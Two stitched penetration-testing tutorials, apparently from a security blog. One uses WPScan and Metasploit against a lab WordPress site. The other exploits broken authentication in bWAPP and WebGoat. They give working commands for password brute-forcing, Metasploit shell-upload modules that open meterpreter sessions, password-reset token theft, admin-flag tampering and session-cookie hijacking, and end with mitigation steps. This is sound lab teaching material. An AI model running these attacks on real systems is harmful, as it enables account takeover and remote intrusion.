WPScan:WordPress Pentesting Framework

Every other web-application on the internet is somewhere or other running over a Content Management System, either they use WordPress, Squarespace, Joomla, or any other in their development phase. So is your website one of them? In this article, we’ll try to deface such WordPress websites, with one of the most powerful WordPress vulnerability Scanner i.e WPScan.

Table of Content

·         Introduction

·         Enumerating the WordPress web-application

o   Version Scanning

o   WordPress Themes

o   WordPress Plugins

o   WordPress Usernames

o   All in a single command

·         WordPress Exploitation

o   Bruteforce Attack using WPScan

o   Shell Upload using Metasploit

o   Vulnerable Plugin exploitation

·         Scanning over a Proxy Server

·         Scanning with an HTTP Authentication enabled

Introduction

“WordPress is one of the most powerful CMS platform, which covers about 35% of the total share of the websites over the internet”. Thus in order to enumerate such web-applications, we’ll be using “WPScan” - which is a black box vulnerability scanner for WordPress, scripted in Ruby to focus on different vulnerabilities that are present in the WordPress applications, either in its themes or plugins.

Well, WPScan comes preinstalled in Kali Linux, SamuraiWTF, Pentoo, BlackArch; which scans up its database in order to find out the outdated versions and the vulnerabilities in the target’s web application.

Let’s check out the major things that WPScan can do for us:

o   Detect the version of currently installed WordPress.

o   Can detect sensitive files like readme, robots.txt, database replacing files, etc.

o   Detect enabled features on currently installed WordPress server such as file_upload.

o   Enumerates the themes, plugins along with their versions and tells if they are outdated or not.

o   It even scans up the web-application to list out the available usernames.

Before going deeper, I suggest you to check out our previous article where we’ve discussed the “Multiple ways to setup a WordPress Penetration Testing Lab”.

Let’s start!!

As discussed earlier, WPScan is installed by default in the Kali Linux machines, so let’s check out the default usage options, by simply firing the following command in the terminal.

wpscan -hh

Scanning the WordPress version of the target’s website

As we were presented with the default options, let’s now try to do a basic scan over the vulnerable WordPress web-application that we’ve set up in our earlier article.

Type the following command to scan the WordPress application and its server.

wpscan --url http://192.168.1.105/wordpress/

From the below image you can see that it dumps up everything it could – the WordPress version, the Apache server, and even it also found that the upload directory has directory listing enables which means anyone can browse to “/wp-content/uploads” in order to check out the uploaded files and contents.

Enumerating WordPress Themes

Themes plays an important role in any CMS web-application, they control the general look & feel of the website including its page layout, widget locations, and the default font and color preferences.

WPScan uses its database which contains about 2600 themes to check the vulnerable installed one over the target’s. 

In order to check the installed themes of the target’s WordPress web-application, type following command:

wpscan --url http://192.168.1.105/wordpresws/ -e at

The “–e” flag is used for enumeration and the “at” flag returns “all themes”.

You can even use the other flags such as “vt”, to list only the vulnerable themes.

Thus running the above command, we will be presented with the installed themes with its version.

Enumerating WordPress Plugins

Plugins are the small piece of codes, that when added to a WordPress web-application, boost up the functionalities, and enhance the website’s features.

But these plugins may sometimes cause great damage to the web-application due to their loosely written codes.

Lets’s check out the installed plugins on our target’s web-application by executing the below command:

wpscan --url http://192.168.1.105/wordpress/ -e ap

Similar to the themes, we can also check the vulnerable plugins by using the “-vp” flag.

After waiting for a few seconds, WPScan will dump our desired result. From the below image, you can see the plugins “mail-masta” and “reflex-gallery” are installed over our target’s website. As a bonus, we even get the last update and the latest version.

Enumerating WordPress Usernames

In order to list out usernames of our target’s website privileged users, execute the following command:

wpscan –url http://192.168.1.105/wordpress/ -e u

The flag “u”  will grab all the usernames and will present a list on our screen.

As WPScan completes its work, we’ll find a list of all the users with their user IDs, in accordance with how it grabbed them.

Enumerate ALL with a single command

Does WPScan give us that privilege to scan up the web-applications to check everything in one go, whether it is its version, the installed themes, or the plugins?

Let’s check this out!

Fire up the following command to grab everything we scanned above for our target web-application.

wpscan --url http://192.168.1.105/wordpress/ -e at –e ap –e u

–e: at: enumerate all themes of targeted website

–e: ap: enumerate all plugins of targeted website

–e: u: enumerate all usernames of targeted website

 

Brute-force attack using WPScan

With the help of usernames which we enumerated earlier, we can create a wordlist of all the users and can try a brute-force login attack using the default password list as “rockyou.txt”.  You can learn more about cracking the WordPress logins from here.

From the below image you can see our designed wordlist.

Let’s now try to exploit the website by defacing its login credentials using the following command:

wpscan --url http://192.168.1.105/wordpress/ -U user.txt –P /usr/share/wordlists/rockyou.txt

The –U and the –P  flags are used to set up the username list and the password list respectively.

It will start matching the valid combination of username and password and then dumps the result, from the given image you can see we found the login credentials.

Great!! We got the admin credentials as “admin : jessica”. Let’s try to get into the application’s dashboard with them.

Shell Upload using Metasploit

Isn’t it great if you get the target’s shell?

Run the following commands in order to get a meterpreter session of our target’s web-application.

msf > use exploit/unix/webapp/wp_admin_shell_upload

msf exploit(wp_admin_shell_upload) > set rhosts 192.168.1.105

msf exploit(wp_admin_shell_upload) > set username admin

msf exploit(wp_admin_shell_upload) > set password jessica

msf exploit(wp_admin_shell_upload) > set targeturi /wordpress

msf exploit(wp_admin_shell_upload) > exploit

This module takes an administrator username and password, logs into the admin panel, and uploads a payload packaged as a WordPress plugin. And finally, give us the meterpreter session of the webserver.

Vulnerable Plugin Exploitation

Here in our website, we foud a vulnerable plugin i.e. “slideshowgallery” which contains an authenticated file upload vulnerability thus in order to exploit it,we will be using the following module which will offer us a reverse shell.

use exploit/unix/webapp/wp_slideshowgallery_upload

msf exploit(wp_slideshowgallery _upload) > set rhost 192.168.1.105

msf exploit(wp_ slideshowgallery _upload) > set targeturi /wordpress

msf exploit(wp_ slideshowgallery _upload) > set username admin

msf exploit(wp_ slideshowgallery _upload) > set password jessica

msf exploit(wp_ slideshowgallery _upload) > exploit

From the below image you can see that we’ve successfully captured our target’s meterpreter session.

Scanning over a Proxy Server

Is is possible to scan a WordPress web-application running over a proxy server?

Many web-applications use Proxy servers in order to be secure, but WPScan gives us this advantage to scan such web-applications using the “--proxy” flag.

Let’s check it out how:

Our WordPress web-application is now running over a proxy server with a “port number as 3128”. You can learn more about how to setup a proxy server from here.

Now if we try to scan it with the default usage option we’ll get an error and our scan will halt. So let’s try to use the proxy port in order to scan the web-application.

Simply run the following command to bypass this proxy server:

wpscan --url http://192.168.1.105/wordpress/ --proxy http://192.168.1.105:3128

From the below image you can see that we are back into the scanning section.

Scanning with an HTTP Authentication enabled

Many websites enables HTTP authentication so that they can hide some essential and critical information from the unauthenticated users.

We have also set a similar validation over our website with the credentials as “raj : 123”. To learn more about HTTP authentication click here.

From the below image you can see that when we tried the normal scan, we got an alert as “Please provide it with --http-auth”.

Thus following this alert, we’ve used the --http-auth and had entered our credentials.

wpscan --url http://192.168.1.105/wordpress/ --http-auth raj:123

And there we go, our scan has been started now.

Comprehensive Guide to Broken Authentication

Does just keeping a secure and a strong password can really protect you? Today in this article we’ll learn, how an attacker analyze and take over the user’s account that have been logged in inside some weakly authenticated web-application with an immune password.

Table of Content

·         Introduction

·         Sessions

·         Cookies

·         Impact of Broken Authentication

·         Broken Authentication

o   Credential Stuffing

o   Insecure Web-Applications

§  Insecure Login forms

§  Logout management

o   Bypassing Forget Password Option

·         Improper Session Management

o   Administrative Portal Login

o   Session Hijacking

§  Using Browser’s Plugin

§  Using Burpsuite

·         Mitigation Steps

Introduction

Authentication is the process of validating a user who is claiming to be a genuine one. Thus in a web-application, password plays the major role in the authentication phase. In order to get the desired access, the user have to enter his username and password, further these credentials are sent to the server for the authentication process. However the server checks them into its database and if found valid, it generates a session and pass it to the browser in the form of Cookie Session ID.

But what if an intruder bypasses this authentication process either by guessing up the username and passwords or even by capturing up an active session of any particular user. Thus this scenario is considered as Broken Authentication where the authentication and session management of the web-applications are often not implemented correctly, leading the attacker to gain an unauthorized access to the user’s data.

Form the above picture you can see that the attacker is trying to get into the web-application by the credential stuffing method, where he is having a bunch of breached passwords which thus in-turn helps him to gain an authenticated session.

In order to explore more, let’s take a deep dive and learn about the sessions and the cookies concepts.

Sessions

When a user made any changes in a web application like a sign in or sign out, the server does not know who that person is. In order to solve this issue, sessions were introduced, which holds the information of a single user that can be reused across several web pages over a particular web-application.

Example: login ID user name and password.

Therefore some code are generated with a unique identification number in the form of hash for that specific session which is a random string of 32 hexadecimal numbers such as 5f7dok65iif989fwrmn88er47gk834 and thus it is known as sessionID.

Cookies

A cookie is a small piece of data similar to the sessions, they are sent by the server to the browser. Thus this data is stored on the user’s computer while he/she is browsing. Cookies have a short time period due to their preset expiry date and time.

Cookies are classified into major categories but the most common one is –

Session Cookie:

These cookies dies when the browser is closed because they are stored in the browser’s temporary memory. They’re majorly used for the e-commerce websites so the user can continue browsing without losing what he put in his cart and finally able to checkout. The session cookie are deleted only when they are on their expiration date or when a user shuts down the bowser.

Impact of Broken Authentication

Broken Authentication is the vulnerability which allows the attacker to gain the user data without proper authentication. This vulnerability arises in the web application where the sessions are not properly sanitized. Therefore it stood as the second most critical vulnerability in the OWASP top10 having “a CVSS Score of 8.8”.

However the Broken Authentication vulnerability has been majorly reported under

1.       CWE- 287 Improper Authentication

2.       CWE-345 Insufficient Verification of Data Authenticity

3.       CWE-522 Insufficiently Protected Credentials

To learn more about the other CWE categories for Broken Authentication and Session Management click here.

Uptill now you might be clear with the concept of authentication and aware with the fact that how crucial the sessions are. So now it’s time to exploit and analyze these vulnerabilities over the most vulnerable platforms i.e. bWapp and WebGoat.

Credential Stuffing

During the major data breaches, it is easy for the attackers to grab a list of commonly used usernames and passwords. Thus using these different pairs, they are able to gain the actual user’s credential of a particular web-application. Credential stuffing somewhere also known as bruteforcing or fuzzing.

Therefore we’ll try to bypass this high security captcha login using one of the best web-fuzzing tool i.e. Burpsuite.

Boot in your burpsuite in order to capture the ongoing HTTP request, by setting up the proxy server at the localhost and enabling the intercept option in the proxy tab. 

As soon as you grab the request just send it directly to the intruder by a simple right click on the proxy tab or either by pressing Ctrl +I.

Now it’s time to configure our attack!!

As soon as you get the confirmation with the Host and the Port, just switch to the Position tab there right at the target tab.

Choose the Attack type to Cluster Bomb, further add up the attack position by simple clearing all the preset positions with the Clear $ button and adding the news positions with the Add $ button.

From the above image you can see that, I’ve set the attack position over the login and the password fields, where my dictionaries would work.

Here in the Payload section, we’ll be adding up our dictionaries.

Choose the Payload Set 1 and 2 simultaneously one after the other and include our lists in both of them by simply clicking on the Load button.

We’re almost done, now just click on the Attack button and wait for the response.

From the below image you can see that our attack has been started and there is a fluctuation in the length section and our lists are working in the way we want.

I’ve double clicked over the length section in order to check the lowest value first.

As soon as I choose the 48^th Request due to the only fluctuated value, I was able to see that the payload 1 and 2 with bee and bug inputs respectively are giving a successful login in the Response section.

Therefore I was able to get into the web-application by entering the credentials as bee : bug.

Insecure Login Forms

Many web developers tries to trick their clients by setting up the username and password into the html code with the font color as “white” at the username and password field only.

Let’s check whether this login form is having the same issue or not.

Simply right click anywhere on the form screen and choose View Page Source option.

As we analyze the HTML form code, I was able to determine the username and the password values as tonystark and I am Iron Man hidden with the white font.

Insecure Logout Management

This is one of the most common vulnerability, where the developers simply setup the hyperlinks of the logout page at the logout text without having any concern about the generated session.

I’ve set the “Choose your bug” option at “Broken Authentication –Logout Management”. From the below image you can see that as I’ve clicked on the OK option in the popped up confirmation field. Thus further I had been redirected to logout page.

Now let’s try to simply click on the back button.

Great!! We are back into the account again. That means we were just redirected to the new page but our session cookies were not expired yet.

Let’s check it out, how this all happens at the backend.

From the above image we can see that the developer had simply set ”ba_logout_1.php” as the Hypertext Reference to the “here” text.

Bypassing Forget Password Option

Forget Password is the most common feature of every web-application. The majority of applications use it, in order to send a security question or a reset password link to their users at their registered email addresses. But what, if we exploit this feature and change the credentials of the users without their concern or even without capturing anything from their browsers?

Let’s try how we can exploit it!!

I’ve logged in into the WebGoat’s platform by creating a new user account as hackingarticles in order to exploit this vulnerability. To install and setup WebGoat click here.

From the left-hand side panel select Broken Authentication following with Password Reset field.

Thus selecting the 6^th option from the top, we’ll be redirected to our desired task.

Dragging to the bottom we’ll find the Account Access form, below there we can find a “forgot password” option.

As soon as we click on it we’ll be redirected to the “Forgot Your Password” page.

Now, it’s time to start our attack.

I’ve entered hackingarticles@webgoat-cloud.org as the desired email address.

Note:

You can enter any domain rather than webgoat-cloud.org, but the name should be the one you set as the username for your account.

From the above image you can see that we got the response as “An email has been send to hackingarticles@webgoat-cloud.org”

Now let’s surf the WebWolf’s webpage and enter the same credentials that you have used while logging into WebGoat

http://192.168.0.11:9090/login

From the below image, you can see that I’ve received an email with a reset link in order to setup the new password.

Now it’s time to break and get into the victim’s account i.e.“tom’s account”.

Back to the WebGoat server we’ll write the tom’s email address as tom@webgoat-cloud.org. But this time we’ll capture the request before sending it to the server i.e. tune in you burpsuite by enabling up the proxy and the intercept option.

As soon as we capture the “Post Request”, we’ll send it all to the repeater, by clicking on the right hand side and selecting the Send to Repeater option.

Now we’ll manipulate the request and send it to our server i.e. the server we set at 192.168.0.11:9090.

From the above image over the right hand side in the window you can see that, “An email has been send to tom@webgoat-cloud.org”. But this email has actually been send over our WebWolf server.

Let’s get back to our “WebWolf” application and check what we have received as in our Incoming Request.

From the above image you can see that I’ve successfully manipulated the WebGoat server, which send the request over my account.

Copy the unique Id as highlighted, which we will use in our future case.

We’re now almost done, go back to the inbox of “hackingarticles@webgoat-cloud.org” and open that reset link that we got earlier.

From the above image you can see that, in the URL section, we’re having a unique ID here too.

Let’s change this unique ID with the one we copied earlier.

Wooahh!! We are redirected to a new “Reset your password” page, seems like we’re changing the Tom’s credentials.

I’ve now set the password here as “tomandjerry”. And fired the “SAVE” button.

Let’s check whether we’re able to change the tom’s credentials or not.

Go back to the WebGoat web-application and select the option to “Account Access” and enter the following credentials:

tom@webgoat-cloud.org

tomandjerry

Great!! We’ve successfully changed the Tom’s password just with his email account, without knowing who is tom.

Improper Administrative Login

Administrative logins are considered as one of the most important and the most crucial vulnerability, it occurs due to unsanitized session generated from the server’s end.

Let’s try to exploit this vulnerability and get into the web-application with the administrative privileges.

Boot back into your bWapp server and select “Session Management – Administrative Portals” in the “Choose Your Bug” option keeping the security at low.

From the above image you can see that after the “.php?” we’ve got “admin=0”, let’s manipulate this but “admin=1” and check out the grabbed result.

Simple!! We’ve unlocked this page with the administrative rights.

Let’s try to increase up the level and set it to “medium”, now checking the same in the URL, we won’t be able to find anything. So is this vulnerability patched?

Wait, let’s try to capture its cookies and analyze them.

Look there it is, the flaw is still the same, but this time it is in the cookies. So now let’s check whether our manipulation will work or not?

I’ve again manipulated the “admin=0” to “admin=1”

From the below image you can see that we’ve successfully unlocked the webpage again with some simple manipulations.

Session Hijacking

Uptill now we all are aware with the fact that for every different user there is a unique session ID generated, thus when an attacker sniffs the network traffic via man-in-the-middle attack or via Cross Site Scripting and thereby steals up the session ID or the session tokens of the legitimate user’s authenticated session in order to get an unauthorized login. This methodology is known as Session Hijacking.

The idea about session hijacking would be more clear from this image.

Here the user enters his credentials into the web-application, thus application sends them to the server for authentication. Therefore as soon as the credentials were found valid, the server generates a session and shares it to the browser, such that the user do not need to enter his credentials everytime for every single page he requests for.

But the attacker sniffs the network and steal up these freshly generated session IDs before they were send to the user. Now the attacker just need to send these session ID’s to the web server, server tries to match them with its database stored session ID. If they both are matched thus the server servers the attacker will HTTP 200 OK reply and the attacker will get a successful access without submitting proper Identification.

So it’s time to play with these sessions and hijack some accounts.

Session Hijacking using Browser’s extensions

Isn’t it great if you could simply get into other’s account without bruteforcing or resetting the password or by not finding any flaws in the web-application?

In order to perform all this, we’ll be using a simple browser extension i.e. “Cookie Editor”, which enable us to import and export the browser generated cookies by simply coping them into our clipboard, which can further be used in getting an authenticated access. You can install this extension from here.

Let’s Start!!

From the below image you can see that I’m having this Cookie Editor enabled in my browser and I’ve logged in inside bWapp as “Hackingarticles : 123”, now from the options provided I’ll click on the “Export” button in order to export all the cookies of this particular session.

Since I’ve successfully exported the user’s cookies now it’s time to import them into the attacker’s machine.

From the below image you can see that, the user “bee” is active with an enabled cookie editor extension.

Now let’s try to import these cookies into the attacker’s browser.

As I hit the “enter” button the exported cookies of the user hackingarticles will be imported directly into the browser where the user bee  resides.

So everything is up now, just simply refresh the browser and there it goes. From the below image you can see that we’ve successfully captured the hackingarticles session with just 3 clicks.

Session ID exposure in URL

Many times the developers fails to manage the privacy of the web-applications by leaving some basic flaws such as disclosing the session ID in the URLs, which allows the attacker to steal these session id’s by simply monitoring up the network and manipulate them in order to exploit the authenticated user to compromise his account.

For this exploitation, we’ll be using the bWAPP, selecting up the “Choose your bug” option to “Session Management – Session ID in URL” and setting the security level to “low”.

From the above image you can see that the “PHPSESSID=” of the user “Hackingarticles” is displayed into the browser’s URL, just copy the same into a text file.

Similarly we’ll copy the “PHPSESSID=” from the user “Bee” and paste it into the same text file.

Form the above image you can see that both these session ID’s are different.

Thus, it’s time to exploit this vulnerability.

In the Bee’s account we’ll go to the “Change Password” option, and will try to change the password.

But before hitting up the “change” button, we’ll run our favorite tool “burpsuite” and capture the ongoing HTTP Request.

From the below image you can see that we’ve successfully captured the HTTP request, and there we are again presented with the “PHPSESSID”.

Now we’ll be sharing this captured request to the repeater by simply doing a right click and choosing the option as “Send to repeater”, and further will check its generated response.

Time to manipulate this session ID with the one we have captured form the “Hackingarticles” user

From the above image, in the response tab over the right hand side of the window you can see that the user have been changed from bee to Hackingarticles as we hit the Send button.

We’re almost there, just change the “PHPSESSID=” with the one that we’ve used in our previous step, in the Proxy tab.

As soon as I hit the Forward button, I will be redirected to a new web page.

Great!! We are back into Hackingarticles account by simply manipulating up the SessionID.

Mitigation Steps

1.       Developers should setup the Session ID’s in the most encrypted way they can and even with an appropriate session timeout.

2.       The client’s or the Users should use multi-factor authentication and even follow-up with the strong password policies in order to increase the password complexities.

3.       Session ID’s should not be stored in URL’s.

4.       The user’s should change their passwords on a regular basis.